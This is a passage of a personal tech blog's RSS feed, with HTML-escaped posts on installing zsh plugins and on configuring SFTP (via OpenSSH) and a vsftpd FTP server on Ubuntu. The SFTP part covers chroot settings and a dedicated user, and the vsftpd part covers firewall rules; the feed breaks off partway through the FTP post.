&lt;/h3&gt;
&lt;ol&gt;
&lt;li&gt;Clone this repository in oh-my-zsh&amp;rsquo;s plugins directory:&lt;/li&gt;
&lt;/ol&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;git clone https://github.com/zsh-users/zsh-autosuggestions &lt;span style="color:#e6db74"&gt;${&lt;/span&gt;ZSH_CUSTOM&lt;span style="color:#66d9ef"&gt;:-&lt;/span&gt;~/.oh-my-zsh/custom&lt;span style="color:#e6db74"&gt;}&lt;/span&gt;/plugins/zsh-autosuggestions
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;ol start="2"&gt;
&lt;li&gt;Activate the plugin in &lt;code&gt;~/.zshrc&lt;/code&gt;:&lt;/li&gt;
&lt;/ol&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;plugins&lt;span style="color:#f92672"&gt;=(&lt;/span&gt; &lt;span style="color:#f92672"&gt;[&lt;/span&gt;plugins...&lt;span style="color:#f92672"&gt;]&lt;/span&gt; zsh-autosuggestions&lt;span style="color:#f92672"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;ol start="3"&gt;
&lt;li&gt;Restart zsh (such as by opening a new instance of your terminal emulator).&lt;/li&gt;
&lt;/ol&gt;
&lt;h3 id="zsh-syntax-highlighting"&gt;
zsh-syntax-highlighting
&lt;a href="#zsh-syntax-highlighting" class="h-anchor" aria-hidden="true"&gt;#&lt;/a&gt;
&lt;/h3&gt;
&lt;ol&gt;
&lt;li&gt;Clone this repository in oh-my-zsh&amp;rsquo;s plugins directory:&lt;/li&gt;
&lt;/ol&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;git clone https://github.com/zsh-users/zsh-syntax-highlighting.git &lt;span style="color:#e6db74"&gt;${&lt;/span&gt;ZSH_CUSTOM&lt;span style="color:#66d9ef"&gt;:-&lt;/span&gt;~/.oh-my-zsh/custom&lt;span style="color:#e6db74"&gt;}&lt;/span&gt;/plugins/zsh-syntax-highlighting
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;ol start="2"&gt;
&lt;li&gt;Activate the plugin in &lt;code&gt;~/.zshrc&lt;/code&gt;:&lt;/li&gt;
&lt;/ol&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;plugins&lt;span style="color:#f92672"&gt;=(&lt;/span&gt; &lt;span style="color:#f92672"&gt;[&lt;/span&gt;plugins...&lt;span style="color:#f92672"&gt;]&lt;/span&gt; zsh-syntax-highlighting&lt;span style="color:#f92672"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;ol start="3"&gt;
&lt;li&gt;Restart zsh (such as by opening a new instance of your terminal emulator).&lt;/li&gt;
&lt;/ol&gt;
&lt;h2 id="links"&gt;
Links
&lt;a href="#links" class="h-anchor" aria-hidden="true"&gt;#&lt;/a&gt;
&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href="https://github.com/ohmyzsh/ohmyzsh"&gt;Oh My Zsh&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://github.com/ohmyzsh/ohmyzsh/wiki/Installing-ZSH"&gt;Oh My Zsh - Install&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://github.com/ohmyzsh/ohmyzsh/wiki/Themes"&gt;Oh My Zsh - Themes&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://github.com/ohmyzsh/ohmyzsh/wiki/Plugins"&gt;Oh My Zsh - Plugins&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://github.com/zsh-users/zsh-autosuggestions/blob/master/INSTALL.md"&gt;zsh-autosuggestions&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://github.com/zsh-users/zsh-syntax-highlighting/blob/master/INSTALL.md"&gt;zsh-syntax-highlighting&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;</description></item><item><title>SFTP Server Configure</title><link>https://thanoskoutr.com/posts/sftp-server-configure/</link><pubDate>Sat, 13 Jun 2020 15:58:08 +0300</pubDate><guid>https://thanoskoutr.com/posts/sftp-server-configure/</guid><description>
&lt;img src="https://thanoskoutr.com/covers/sftp.png"/&gt;
&lt;p&gt;In this post, we will see how we can use SFTP (Secure File Transfer Protocol) on our Ubuntu Server as a more secure protocol for FTP, in order to transfer files between the server and other clients.&lt;/p&gt;
&lt;p&gt;SFTP uses SSH in order to transfer files, so it means the connection is encrypted and as safe as an SSH connection. In order to use it the only thing we need is an OpenSSH server installed and running. If you are using SSH to access your server, this is probably already done.&lt;/p&gt;
&lt;p&gt;Else, you can follow the &lt;a href="https://thanoskoutr.com/posts/ssh-server-configure/"&gt;previous post about SSH server configuration on an Ubuntu Server&lt;/a&gt;.&lt;/p&gt;
&lt;h2 id="ssh-permissions"&gt;
SSH Permissions
&lt;a href="#ssh-permissions" class="h-anchor" aria-hidden="true"&gt;#&lt;/a&gt;
&lt;/h2&gt;
&lt;p&gt;Assuming that the SSH server guide has been followed, we have a lot of security measures to prevent unauthorized access. Any user account on the server that can SSH into the server can also use the SFTP service.&lt;/p&gt;
&lt;p&gt;Each user can view and download all files in the system that he has permissions, but he can only remove and upload files in his home directory.&lt;/p&gt;
&lt;h2 id="sftp-user-and-group"&gt;
SFTP User and Group
&lt;a href="#sftp-user-and-group" class="h-anchor" aria-hidden="true"&gt;#&lt;/a&gt;
&lt;/h2&gt;
&lt;p&gt;If we want to have a separate account to use with the SFTP service in order to separate from the existing user accounts we can create one, e.g. &lt;code&gt;sftpuser&lt;/code&gt; and the &lt;code&gt;sftp&lt;/code&gt; group accordingly.&lt;/p&gt;
&lt;p&gt;We will set the &lt;code&gt;sftpuser&lt;/code&gt; (non-sudo user) to be able to use the SFTP service but won&amp;rsquo;t have SSH access to the server for security reasons.&lt;/p&gt;
&lt;p&gt;This user can only, view and download all files in the &lt;code&gt;/home&lt;/code&gt; directory that he has permissions, but but he can only remove and upload files in his home directory (&lt;code&gt;/home/sftpuser&lt;/code&gt;).&lt;/p&gt;
&lt;p&gt;We now create the group and the user and add it to the group:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;sudo addgroup sftp
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;sudo useradd -m sftpuser -g sftp
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;We can now set a new password for the user:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;sudo passwd sftpuser
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h2 id="ssh-config"&gt;
SSH Config
&lt;a href="#ssh-config" class="h-anchor" aria-hidden="true"&gt;#&lt;/a&gt;
&lt;/h2&gt;
&lt;p&gt;We are going to make some changes to the default config file of &lt;code&gt;sshd&lt;/code&gt;, so it is best to take a copy of the default file if something goes wrong or you want to go back to the default settings:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;sudo cp /etc/ssh/sshd_config /etc/ssh/sshd_config.bak
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;In the &lt;code&gt;sshd_config&lt;/code&gt; we will add a group of commands at the end of the file, in order to specify the permissions we already mentioned for the &lt;code&gt;sftpuser&lt;/code&gt; and the &lt;code&gt;sftp&lt;/code&gt; group accordingly:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-ini" data-lang="ini"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#a6e22e"&gt;Match group sftp&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#a6e22e"&gt;ChrootDirectory /home&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#a6e22e"&gt;X11Forwarding no&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#a6e22e"&gt;AllowTcpForwarding no&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#a6e22e"&gt;ForceCommand internal-sftp&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Restart the ssh daemon to make changes take effect:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;sudo service ssh restart
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h2 id="test-sftp-accesss"&gt;
Test SFTP Accesss
&lt;a href="#test-sftp-accesss" class="h-anchor" aria-hidden="true"&gt;#&lt;/a&gt;
&lt;/h2&gt;
&lt;p&gt;Lets try connecting with the &lt;code&gt;sftp&lt;/code&gt; user to test the connection:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;sftp sftpuser@192.168.1.99 &lt;span style="color:#75715e"&gt;# Replace with your servers IP&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;if you have configured SSH to use a different port (e.g. &lt;code&gt;44444&lt;/code&gt;) specify it with the &lt;code&gt;-P&lt;/code&gt; option:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;sftp -P &lt;span style="color:#ae81ff"&gt;44444&lt;/span&gt; sftpuser@192.168.1.99 &lt;span style="color:#75715e"&gt;# Replace with your servers IP&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Output:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;Connected to 192.168.1.99.
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;sftp&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;We now have access as expected.&lt;/p&gt;
&lt;p&gt;Close the connection:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;sftp&amp;gt; bye
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h2 id="links"&gt;
Links
&lt;a href="#links" class="h-anchor" aria-hidden="true"&gt;#&lt;/a&gt;
&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href="https://en.wikipedia.org/wiki/SSH_File_Transfer_Protocol"&gt;SSH File Transfer Protocol&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://linuxconfig.org/how-to-setup-sftp-server-on-ubuntu-18-04-bionic-beaver-with-vsftpd"&gt;How to setup SFTP server on Ubuntu 18.04 Bionic Beaver with VSFTPD&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;</description></item><item><title>FTP Server Configure</title><link>https://thanoskoutr.com/posts/ftp-server-configure/</link><pubDate>Sat, 13 Jun 2020 15:58:01 +0300</pubDate><guid>https://thanoskoutr.com/posts/ftp-server-configure/</guid><description>
&lt;img src="https://thanoskoutr.com/covers/ftp.png"/&gt;
&lt;p&gt;In this post, we will see how we can install an FTP server on our Ubuntu Server in order to transfer files between the server and other clients.&lt;/p&gt;
&lt;p&gt;We will use the &lt;code&gt;vsftpd&lt;/code&gt; service, to create the FTP server and we will access it either as a new &lt;code&gt;ftpuser&lt;/code&gt; authenticated user or Anonymously without authentication.&lt;/p&gt;
&lt;p&gt;If you are going to use the FTP service remotely on the public internet, it is best to not use Anonymous FTP, as anyone will be able to download from the server. Also, another and safer option is to use SFTP for remote transferring file that uses SSH, but for local network transfers a normal FTP service will be fine.&lt;/p&gt;
&lt;h2 id="install-the-ftp-framework"&gt;
Install the FTP framework
&lt;a href="#install-the-ftp-framework" class="h-anchor" aria-hidden="true"&gt;#&lt;/a&gt;
&lt;/h2&gt;
&lt;p&gt;Install the FTP framework:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;sudo apt install vsftpd
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h2 id="configure-firewall"&gt;
Configure firewall
&lt;a href="#configure-firewall" class="h-anchor" aria-hidden="true"&gt;#&lt;/a&gt;
&lt;/h2&gt;
&lt;p&gt;If we have a firewall running we must enable the FTP port in order to access the server. The default ports for FTP are &lt;code&gt;port 20&lt;/code&gt;, &lt;code&gt;port 21&lt;/code&gt; and the range of passive ports can be &lt;code&gt;port 49152-65535&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;For a firewall like &lt;code&gt;ufw&lt;/code&gt;, we can enable the FTP by running the following commands:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;sudo ufw allow ftp
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;sudo ufw enable
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;sudo ufw status
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;But we can also manually enable the ports to limit the range of passive ports to &lt;code&gt;port 10000-10100&lt;/code&gt;:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;sudo ufw allow 20/tcp
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;sudo ufw allow 21/tcp
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;sudo ufw allow 990/tcp
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;sudo ufw allow 10000:10100/tcp
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;sudo ufw status
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h2 id="install-filezilla-on-client"&gt;
Install FileZilla (on client)
&lt;a href="#install-filezilla-on-client" class="h-anchor" aria-hidden="true"&gt;#&lt;/a&gt;
&lt;/h2&gt;
&lt;p&gt;Install FileZilla on a client computer in order to test the FTP server:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;sudo apt install filezilla
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h2 id="authenticated-ftp"&gt;
Authenticated FTP
&lt;a href="#authenticated-ftp" class="h-anchor" aria-hidden="true"&gt;#&lt;/a&gt;
&lt;/h2&gt;
&lt;h3 id="creating-ftpuser-user"&gt;
Creating ftpuser user
&lt;a href="#creating-ftpuser-user" class="h-anchor" aria-hidden="true"&gt;#&lt;/a&gt;
&lt;/h3&gt;
&lt;p&gt;We will create a dedicated FTP user that we will use only for FTP with minimum privileges in order to be more safe.&lt;/p&gt;
&lt;p&gt;Firstly create the &lt;code&gt;ftpuser&lt;/code&gt; user:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;sudo adduser ftpuser
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Add a password when prompted.&lt;/p&gt;
&lt;p&gt;FTP is generally more secure when users are restricted to a specific directory. &lt;code&gt;vsftpd&lt;/code&gt; accomplishes this with &lt;code&gt;chroot&lt;/code&gt; jails. When &lt;code&gt;chroot&lt;/code&gt; is enabled for local users, they are restricted to their home directory by default. However, because of the way &lt;code&gt;vsftpd&lt;/code&gt; secures the directory, it must not be writable by the user. This is fine for a new user who should only connect via FTP, but an existing user may need to write to their home folder if they also have shell access.&lt;/p&gt;
&lt;p&gt;Because we don&amp;rsquo;t want to disable write privileges completely from the home directory, we will create a &lt;code&gt;server&lt;/code&gt; directory inside the &lt;code&gt;ftpuser&lt;/code&gt;&amp;rsquo;s home directory that will be used to host all the files for the FTP service.&lt;/p&gt;
&lt;p&gt;Create the &lt;code&gt;server&lt;/code&gt; directory:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;sudo mkdir /home/ftpuser/server
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Set the ownership to the &lt;code&gt;ftpuser&lt;/code&gt; user:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;sudo chown ftpuser:ftpuser /home/ftpuser/server
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Disable write access:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;sudo chmod a-w /home/ftpuser/server
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h3 id="ftp-configuration-file"&gt;
FTP configuration file
&lt;a href="#ftp-configuration-file" class="h-anchor" aria-hidden="true"&gt;#&lt;/a&gt;
&lt;/h3&gt;
&lt;p&gt;We are going to make some changes to the default config file of &lt;code&gt;vsftpd&lt;/code&gt;, so it is best to take a copy of the default file if something goes wrong or you want to go back to the default settings:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;sudo cp /etc/vsftpd.conf /etc/vsftpd.conf.bak
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Now we are going to edit the &lt;code&gt;vsftpd.conf&lt;/code&gt; file:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;sudo vim /etc/vsftpd.conf
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Make sure this settings are the same:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-ini" data-lang="ini"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;# Allow anonymous FTP? (Disabled by default).&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#a6e22e"&gt;anonymous_enable&lt;/span&gt;&lt;span style="color:#f92672"&gt;=&lt;/span&gt;&lt;span style="color:#e6db74"&gt;NO&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;#&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;# Uncomment this to allow local users to log in.&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#a6e22e"&gt;local_enable&lt;/span&gt;&lt;span style="color:#f92672"&gt;=&lt;/span&gt;&lt;span style="color:#e6db74"&gt;YES&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Also, enable users to upload files by changing the &lt;code&gt;write_enable&lt;/code&gt; setting:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-ini" data-lang="ini"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;# Uncomment this to enable any form of FTP write command.&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#a6e22e"&gt;write_enable&lt;/span&gt;&lt;span style="color:#f92672"&gt;=&lt;/span&gt;&lt;span style="color:#e6db74"&gt;YES&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;We will also enable the &lt;code&gt;chroot_local_user&lt;/code&gt; setting to restrict access outside the specified FTP directory:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-ini" data-lang="ini"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;# You may restrict local users to their home directories. See the FAQ for&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;# the possible risks in this before using chroot_local_user or&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;# chroot_list_enable below.&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#a6e22e"&gt;chroot_local_user&lt;/span&gt;&lt;span style="color:#f92672"&gt;=&lt;/span&gt;&lt;span style="color:#e6db74"&gt;YES&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;We will, add a &lt;code&gt;user_sub_token&lt;/code&gt; to insert the username in our &lt;code&gt;local_root&lt;/code&gt; directory path so our configuration will work for the &lt;code&gt;ftp&lt;/code&gt; user and any additional future users we would want o add:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-ini" data-lang="ini"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#a6e22e"&gt;user_sub_token&lt;/span&gt;&lt;span style="color:#f92672"&gt;=&lt;/span&gt;&lt;span style="color:#e6db74"&gt;$USER&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#a6e22e"&gt;local_root&lt;/span&gt;&lt;span style="color:#f92672"&gt;=&lt;/span&gt;&lt;span style="color:#e6db74"&gt;/home/$USER/server&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;We will limit the range of passive ports to the ones we selected to enable on the firewall:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-ini" data-lang="ini"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#a6e22e"&gt;pasv_enable&lt;/span&gt;&lt;span style="color:#f92672"&gt;=&lt;/span&gt;&lt;span style="color:#e6db74"&gt;YES&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#a6e22e"&gt;pasv_min_port&lt;/span&gt;&lt;span style="color:#f92672"&gt;=&lt;/span&gt;&lt;span style="color:#e6db74"&gt;10000&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#a6e22e"&gt;pasv_max_port&lt;/span&gt;&lt;span style="color:#f92672"&gt;=&lt;/span&gt;&lt;span style="color:#e6db74"&gt;10100&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;To allow only the users we will specify we want to enable a userlist to add the users:&lt;/p&gt;
